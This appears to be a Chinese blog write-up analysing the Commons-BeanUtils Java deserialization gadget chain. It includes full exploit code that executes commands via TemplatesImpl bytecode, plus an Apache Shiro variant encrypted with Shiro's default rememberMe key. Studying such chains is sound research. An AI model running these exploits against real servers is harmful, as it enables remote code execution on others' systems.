Commons-BeanUtils反序列化

java cb链

环境搭建

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

这里直接用maven搭建一个简易的环境主要是用来记录一下

分析

先来写一个demo看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.zbz;

public class demo {
public demo(String name, int age) {
this.name = name;
this.age = age;
}

public String name;
public int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.zbz;


import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class test {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
demo zbz = new demo("zbz", 22);
System.out.println(PropertyUtils.getProperty(zbz, "name"));
System.out.println(zbz.name);
}
}

可以看到输出是一样的

这里引用其他师傅的介绍

在 CB 中有个工具类叫PropertyUtils,它可以对 javaBean 进行一些操作

PropertyUtils类下提供了一些静态方法,以方便开发者直接调用一些getter和setter方法:

getProperty:返回指定Bean的指定属性的值

getSimpleProperty:返回指定Bean的指定属性的值

setProperty:设置指定Bean的指定属性的值

setSimpleProperty:设置指定Bean的指定属性的值

这里cb链的问题主要是出现在这个方法中我们跟进去看看

继续跟

继续接着跟

进到getNestedProperty类,继续跟

跟进这个类

跟到这里继续跟进去

可以看到,我们传入的是 name ,这里返回 Bean 属性值是 Name ,并且 set 方法与 get 方法都是 setName , getName ,这是 JavaBean 的命名格式,会将传进来的小写首字母大写关于javaBean的一些知识什么是JavaBean? - JYRoy - 博客园 (cnblogs.com)= JavaBeans是Java中一种特殊的类,可以将多个对象封装到一个对象(bean)中。,特点是可序列化,提供无参构造器,提供getter方法和setter方法访问对象的属性。 名称中的“Bean”是用于Java的可重用软件组件的惯用叫法。

到这里可以看到这部分很像反射调用

可以看到就是利用了反射调用对象中的方法。这里我们直接总结一下也就是说我们可以通过PropertyUtils.getProperty(zbz, “name”); 的方式进行递归获取。通过这个
方法,使用者可以很方便地调用任意对象的getter。

然后后面就是与Templates链的结合使用,具体可以参考cc3 cc4看看templates的原理调用这里就不过多介绍

主要介绍为什么会结合这个templates这个类。这里直接给出结论就是**getOutputProperties()**方法即其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,我们可以利用 前面提到的,commons-beanutils里的**PropertyUtils.getProperty()**去调用getter。那么往上找链子,CB链里 哪个位置调用了**getProperty**呢?

在之前的CC2/4的链中我们用到了**java.util.PriorityQueue**的readObject触发反序列化,主要是通过调用了其**TransformingComparator**的compare方法,进而调用了transform链的调用

而 CommonsBeanutils 利用链中核心的触发位置就是 **BeanComparator.compare()** 函数,当调用 **BeanComparator.compare()** 函数时,其内部会调用我们前面说的 **getProperty** 函数,进而调用 JavaBean 中对应属性的 getter 函数。

这里会调用**PropertyUtils.getProperty()**方法 因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用 **TemplatesImpl.getOutputProperties()** 往下就是TemplatesImpl的利用链。那么往上找 哪里调用 compare()呢 可以利用CC2/4链中用的 **PriorityQueue.readObject()**具体可以参考自己写的cc2讲解了如何调用的compare方法以及comparator也可以控制。

前面的CC2链文章提到了,queue的size应该大于等于2,而add()也会执行compare,由于在BeanComparator的compare()方法中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。所以在初始化的时候,我们add任意值,然后利用反射修改成恶意TemplateImpl 对象

给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.zbz;




import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CB1");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();

setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new java.util.PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

无依赖打shiro

BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用 ComparableComparator

既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带

CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了 ComparatorSerializable,且位于Java的核心代码

通过String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator对象,用它来实例化 BeanComparator

所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",
new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue pq = new PriorityQueue(comparator);
setFieldValue(pq, "size", 2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(pq, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(pq);
oos.close();
// System.out.println(barr);
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
}

参考:https://www.cnblogs.com/gk0d/p/16889963.html